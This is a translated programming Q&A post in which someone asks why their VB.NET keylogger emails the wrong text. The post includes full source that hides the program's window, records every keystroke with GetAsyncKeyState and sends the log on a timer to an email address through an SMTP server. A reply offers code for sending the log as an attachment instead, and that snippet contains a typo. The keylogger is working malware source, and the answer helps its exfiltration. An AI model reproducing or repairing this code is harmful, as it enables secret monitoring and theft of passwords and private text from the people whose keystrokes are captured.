SMTP故障

时间:2015-12-08 07:31:45

标签: .net vb.net smtp smtpclient

今天我的程序出了问题。基本上,它应该做的是收集用户击键并将其发送到我的电子邮件。出于安全考虑,我的电子邮件和密码已被涵盖。

CODE

Option Strict On
Imports System.Net.Mail
Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
    Try
        Dim smtpserver As New SmtpClient
        smtpserver.EnableSsl = True
        Dim mail As New MailMessage
        smtpserver.Credentials = New Net.NetworkCredential("a******@live.com.au", "*********")
        smtpserver.Port = 587
        smtpserver.Host = "smtp.live.com"
        mail = New MailMessage
        mail.From = New MailAddress("a******@live.com.au")
        mail.To.Add("a******@live.com.au")
        mail.Subject = ("New keylogger logs!")
        mail.Body = txtLogs.Text
        smtpserver.Send(mail)
    Catch ex As Exception
        Me.Close()
    End Try
End Sub

Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick
    Dim result As Integer
    Dim key As String = ""
    Dim i As Integer

    For i = 2 To 90
        result = 0
        result = GetAsyncKeyState(i)
        If result = -32767 Then
            key = Chr(i)
            If i = 13 Then key = vbNewLine
            Exit For
        End If
    Next i

    If key <> Nothing Then
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            txtLogs.Text &= key
        Else
            txtLogs.Text &= key.ToLower
        End If
    End If

    If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "h" Then
        Me.Visible = True
    End If
End Sub

Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
    txtLogs.Text &= vbNewLine & "Keylogger stopped at:    " & Now & vbNewLine
End Sub

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.ShowInTaskbar = False
    Me.ShowIcon = False
    Me.Visible = False
    txtLogs.Text = txtLogs.Text + "keylogger started at: " & Now & vbNewLine


End Sub
End Class

不是在电子邮件中发送日志,而是发送

  

Keylogs在...时收获了

我正在使用.Net framework 3.5作为我的程序。

问题是什么?

1 个答案:

答案 0 :(得分:0)

首先让我在上面粘贴的代码中说明你的问题,你试图发送一个“文件”作为正文,这不是你如何发送附件示例。

Dim SMTP_Attachment as system.net.mail.attachment
SMTP_Attachment = new system.net.mail.attachment("Path to file")
smtpserver.attahcment.add(SMTP_Attachment)